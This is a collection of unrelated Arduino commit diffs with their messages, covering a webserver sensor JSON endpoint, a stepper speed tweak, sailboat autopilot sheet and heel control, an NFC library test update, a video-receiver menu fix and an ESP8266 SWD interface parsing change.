+            myold = myold + "{ \"sensor\" : \"flow2\" , \"value\" : \"" + String(random(6,10)) + "\"},";
+            myold = myold + "{ \"sensor\" : \"relay1_state\" , \"value\" : \"" + String(Relay1.State()*5) +  "\", \"description\" : \"" + Relay1.Desc() + "\"},";
+            myold = myold + "{ \"sensor\" : \"relay2_state\" , \"value\" : \"" + String(Relay2.State()*10) + "\", \"description\" : \"" + Relay2.Desc() + "\"},";
+            myold = myold + "{ \"sensor\" : \"relay3_state\" , \"value\" : \"" + String(Relay3.State()*15) + "\", \"description\" : \"" + Relay3.Desc() + "\"},";
+            myold = myold + "{ \"sensor\" : \"relay4_state\" , \"value\" : \"" + String(Relay4.State()*20) + "\", \"description\" : \"" + Relay4.Desc() + "\"},";
+            myold = myold + "{ \"sensor\" : \"analog1\" , \"value\" : \"" + String(analogRead(A1)) + "\"},";
+            myold = myold + "{ \"sensor\" : \"analog2\" , \"value\" : \"" + String(analogRead(A2)) + "\"},";
+            myold = myold + "{ \"sensor\" : \"analog3\" , \"value\" : \"" + String(analogRead(A3)) + "\"},";
+            myold = myold + "{ \"sensor\" : \"analog4\" , \"value\" : \"" + String(analogRead(A4)) + "\"} ] }";
+
             server.print(myold);
-          }

-        }
-      }
-    }
-  if (type == WebServer::POST)
-  {
-    server.printP(Post_params_begin);
-    while (server.nextURLparam(&url_tail, name, NAMELEN, value, VALUELEN))
-    {
-      server.print(name);
-      server.printP(Parsed_item_separator);
-      server.print(value);
-      server.printP(Tail_end);
-    }
-  }
-  server.printP(Page_end);
-
-}
+
+
+
+}
+

 void my_failCmd(WebServer &server, WebServer::ConnectionType type, char *url_tail, bool tail_complete)
 {
@@ -387,7 +409,7 @@
   /*This command  is called if you try to load /raw.html */
   webserver.addCommand("raw.html", &rawCmd);
   webserver.addCommand("parsed.html", &parsedCmd);
-
+  webserver.addCommand("getinfo.html", &getInfo);
   /* start the webserver */
   webserver.begin();
 }


Speed Reduced

Speed Reduced

--- Arduino_Code.ino
+++ Arduino_Code.ino
@@ -14,6 +14,7 @@
   pinMode(10,1);
   pinMode(11,1);
   Serial.begin(9600);
+  myStepper.setSpeed(10);
 }

 void StepCount()


Sheet is normalized according to the geometry of the servo arm and the attachment point in the boat Sheet is now calculated after the desired direction instead of heading to prevent getting stuck in irons When boat heels more than 20 degrees sheet is eased automatically TackAngle increased to 105 degrees Implemented recovery mode Bluetooth power level is set at max

--- Arduino/Sailbot/Sailbot.ino
+++ Arduino/Sailbot/Sailbot.ino
@@ -33,8 +33,14 @@
 #define DATA_PACKET_SEND_INTERVAL  500
 #define  SERIAL_PORT_SPEED  9600

-#define MAX_MANUAL 20.0
+#define MANUAL_RESOLUTION 40.0
 #define MAX_RUDDER (M_PI/4.0)
+
+// 2 * 42 + 20 = 104
+#define SHEET_ARM_LENGTH 42.0
+#define SHEET_ARM_TO_EXIT 20.0
+#define SHEET_MIN 30.0
+#define SHEET_MAX 100.0

 unsigned long lastDataPacketSent;
 unsigned long timeOnTackSequence;
@@ -46,6 +52,7 @@
 bool calibratedWind;
 float windDirection;
 float heading;
+float heel;
 float automaticHeading;
 float rudder;
 float sheet;
@@ -60,8 +67,8 @@
   Wire.begin();
   remoteState = SBTSailbotModelStateManualControl;
   windDirection = -1.0;
-  tackAngle = 90.0 * M_PI / 180.0;
-  tackTime = 10.0 * 1000.0; // 20 seconds
+  tackAngle = 105.0 * M_PI / 180.0;
+  tackTime = 8.0 * 1000.0; // 8 seconds
   calibratedWind = false;
   imu = RTIMU::createIMU(&settings);                        // create the imu object

@@ -79,24 +86,31 @@

   tillerServo.attach(2);
   sheetServo.attach(3);
+  setRudder(0.0);
+  setSheet(1.0);

   RFduinoBLE.advertisementInterval = 675;
   RFduinoBLE.advertisementData = "Sailbot";
   RFduinoBLE.begin();
+  RFduinoBLE.txPowerLevel = +4;

   lastDataPacketSent = millis();
   lastAutomaticUpdate = millis();
 }

+// Rudder is from -1.0 to 1.0
 void setRudder(float newRudder) {
   rudder = newRudder;
   // Setting the servo to zero does not work so we add 0.4 radians
-  tillerServo.write((rudder * MAX_RUDDER + MAX_RUDDER + 0.4) * 180.0 / M_PI);
-}
-
+  tillerServo.write((-rudder * MAX_RUDDER + MAX_RUDDER + 0.4) * 180.0 / M_PI);
+}
+
+// Sheet is from 0.0 to 1.0 where 0 is close hauled
 void setSheet(float newSheet) {
   sheet = newSheet;
-  sheetServo.write(sheet * 60 + 90);
+  float adjustedSheet = (SHEET_MAX - SHEET_MIN) * (1.0 - sheet) + SHEET_MIN;
+  sheet = 2.0 * atan(sqrt( (-pow(SHEET_ARM_TO_EXIT, 2.0) + pow(adjustedSheet, 2.0)) / (pow(SHEET_ARM_TO_EXIT, 2.0) + 4.0 * SHEET_ARM_TO_EXIT * SHEET_ARM_LENGTH + 4.0 * pow(SHEET_ARM_LENGTH, 2.0) - pow(adjustedSheet, 2.0)))) * 180.0 / M_PI;
+  sheetServo.write(sheet + 10.0);
 }

 void loop() {
@@ -120,6 +134,7 @@

     if (state != SBTSailbotModelStateCalibratingIMU && state != SBTSailbotModelStateNoIMU) {
       const RTVector3& vec = fusion.getFusionPose();
+      heel = vec.x();
       float rawHeading = vec.z();
       // Convert range to 0 to 2 * M_PI
       if (rawHeading < 0)
@@ -128,8 +143,8 @@
         heading = rawHeading;
     }

-    // Update rudder and sheet
-    if (state == SBTSailbotModelStateAutomaticControl) {
+    // Update rudder
+    if (state == SBTSailbotModelStateAutomaticControl || state == SBTSailbotModelStateRecoveryMode) {
       timeOnTackSequence += now - lastAutomaticUpdate;
       if (timeOnTackSequence > tackTime * 2)
         timeOnTackSequence = 0;
@@ -146,21 +161,25 @@
       lastAutomaticUpdate = now;

       float rudderValue = errorAngle / (M_PI / 8.0); // full rudder at M_PI/8 (cirka 22 degrees)
-      rudderValue = clampf(rudderValue, 1.0, -1.0);
+      rudderValue = constrain(rudderValue, -1.0, 1.0);
       setRudder(rudderValue);

       // sheet
-      float relativeWind = abs(angleSubtractf(windDirection, heading));
+      float relativeWind = abs(angleSubtractf(windDirection, automaticHeading));
       float newSheet = (relativeWind - tackAngle / 2.0) / (M_PI - tackAngle / 2.0);
-      newSheet = clampf(newSheet, 1.0, 0.0);
-      setSheet(newSheet * 2.0 - 1.0); // sheet is a value between -1 and 1
-
-    } else if (state == SBTSailbotModelStateRecoveryMode) {
-
+
+      // sheet out if more than 20 degrees heel, max sheet out at 60 degrees is +0.3
+      float heelTreshold = deg2rad(20.0);
+      if (abs(heel) > heelTreshold) {
+        float sheetOut = normalizeRangef(abs(heel), heelTreshold, deg2rad(60.0));
+        newSheet += sheetOut * 0.3;
+      }
+      newSheet = constrain(newSheet, 0.0, 1.0);
+      setSheet(newSheet); // sheet is a value between 0 and 1
     }
   } else {
-    Serial.print("Failed IMU: ");
-    Serial.println(imu->IMUName());
+ //   Serial.print("Failed IMU: ");
+ //   Serial.println(imu->IMUName());
     failedIMUReadCount++;
     if (failedIMUReadCount > 50) {
       state = SBTSailbotModelStateNoIMU;
@@ -180,13 +199,14 @@
     memcpy(&buffer[14], &sheet, sizeof(sheet));

     RFduinoBLE.send((char*)&buffer, 2 + 4 * sizeof(float));
-    Serial.print("heading: "); Serial.print(heading);
-    Serial.print(" automaticHeading: "); Serial.print(automaticHeading);
-    Serial.print(" windDirection: "); Serial.print(windDirection);
-    Serial.print(" rudder: "); Serial.print(rudder);
-    Serial.print(" sheet: "); Serial.print(sheet);
-    Serial.print(" timeOnTackSequence: "); Serial.print(timeOnTackSequence);
-    Serial.print(" tackTime: "); Serial.println(tackTime);
+//    Serial.print("heading: "); Serial.print(heading);
+//    Serial.print(" automaticHeading: "); Serial.print(automaticHeading);
+//    Serial.print(" windDirection: "); Serial.print(windDirection);
+//    Serial.print(" rudder: "); Serial.print(rudder);
+//    Serial.print(" sheet: "); Serial.print(sheet);
+//    Serial.print(" heel: "); Serial.println(heel);
+//    Serial.print(" timeOnTackSequence: "); Serial.print(timeOnTackSequence);
+//    Serial.print(" tackTime: "); Serial.println(tackTime);
   }
 }

@@ -197,6 +217,9 @@

 void RFduinoBLE_onDisconnect() {
   state = SBTSailbotModelStateRecoveryMode;
+  timeOnTackSequence = 0; // reset time on current tack
+  lastAutomaticUpdate = millis();
+  automaticHeading = angleSubtractf(heading, M_PI);
   Serial.println("Bluetooth disconnect");
 }

@@ -212,7 +235,7 @@
         lastAutomaticUpdate = millis();
         memcpy(&newHeading, &data[1], sizeof(newHeading));
         automaticHeading = ((float)newHeading) * M_PI / 180.0;
-        Serial.print("Automatic heading: "); Serial.println(automaticHeading);
+//        Serial.print("Automatic heading: "); Serial.println(automaticHeading);
         break;
       }
     case SBTSailbotModelHeaderManualControl: {
@@ -220,11 +243,11 @@
         // rudder
         int remoteRudder;
         memcpy(&remoteRudder, &data[1], sizeof(remoteRudder));
-        setRudder(((float)remoteRudder) / MAX_MANUAL);
+        setRudder(((float)remoteRudder) / MANUAL_RESOLUTION * 2.0);
         // sheet
         int remoteSheet;
         memcpy(&remoteSheet, &data[1 + 4], sizeof(remoteSheet));
-        setSheet(((float)remoteSheet) / MAX_MANUAL);
+        setSheet(((float)remoteSheet) / MANUAL_RESOLUTION);
         break;
       }
     case SBTSailbotModelHeaderWindDirection: {
@@ -237,7 +260,7 @@
         }
         calibratedWind = true;
         state = SBTSailbotModelStateManualControl;
-        Serial.print("Set wind direction: "); Serial.println(newWindDirection);
+//        Serial.print("Set wind direction: "); Serial.println(newWindDirection);
       }
     default:
       break;
@@ -248,7 +271,15 @@
   return atan2f(sinf(angleOne - angleTwo), cosf(angleOne - angleTwo));
 }

-float clampf(float value, float max, float min) {
-    return fmin(fmax(min, value), max);
-}
-
+float normalizeRangef(float value, float min, float max) {
+  return 1.0 - (max - value) / (max - min);
+}
+
+float rad2deg(float rad) {
+  return rad * 180.0 / M_PI;
+}
+
+float deg2rad(float deg) {
+  return deg * M_PI / 180.0;
+}
+


update for refactoring

update for refactoring

runs 1x then hangs uno. not sure if the tests or problem with updated ArduinoUnit

--- tests/NdefMessageTest/NdefMessageTest.ino
+++ tests/NdefMessageTest/NdefMessageTest.ino
@@ -1,6 +1,7 @@
 #include <Wire.h>
 #include <Adafruit_NFCShield_I2C.h>
-#include <Ndef.h>
+#include <NdefMessage.h>
+#include <NdefRecord.h>
 #include <ArduinoUnit.h>

 TestSuite suite;
@@ -177,9 +178,9 @@
     m2->addTextRecord("RECORD 2");
     m2->addTextRecord("Record 3");

-    assertEquals(3, m2->recordCount());
+    assertEquals(3, m2->getRecordCount());
     *m2 = *m1;
-    assertEquals(1, m2->recordCount());
+    assertEquals(1, m2->getRecordCount());

 //    NdefRecord ghost = m2->getRecord(1);
 //    ghost.print();


When USE_DIVERSITY is disabled when menu_id==3 back up two menu slots

--- src/rx5808-pro-diversity/rx5808-pro-diversity.ino
+++ src/rx5808-pro-diversity/rx5808-pro-diversity.ino
@@ -396,6 +396,10 @@
                     if(!isDiversity() && menu_id == 3) { // make sure we back up two menu slots.
                         menu_id--;
                     }
+#else
+                    if(menu_id == 3) { // as we dont use diveristy make sure we back up two menu slots.
+                        menu_id--;
+                    }
 #endif
                 }
                 else if(digitalRead(buttonDown) == LOW) {


Derp, unsigned.

Derp, unsigned.

--- esp8266-arm-swd.ino
+++ esp8266-arm-swd.ino
@@ -74,7 +74,7 @@

     uint8_t tmp[64];
     server.arg(name).getBytes(tmp, sizeof tmp, 0);
-    return strtol((char*) tmp, 0, 0);
+    return strtoul((char*) tmp, 0, 0);
 }

 bool webBeginTarget(String &output)
@@ -207,12 +207,12 @@

         uint8_t *addrString = &arg[arg[0] == 'b' || arg[0] == 'h'];
         if (addrString[0] != '.') {
-            addr = strtol((char*) addrString, 0, 0);
+            addr = strtoul((char*) addrString, 0, 0);
         }

         uint8_t valueString[64];
         server.arg(i).getBytes(valueString, sizeof valueString, 0);
-        uint32_t value = strtol((char*) valueString, 0, 0);
+        uint32_t value = strtoul((char*) valueString, 0, 0);

         char result[128];
         switch (arg[0]) {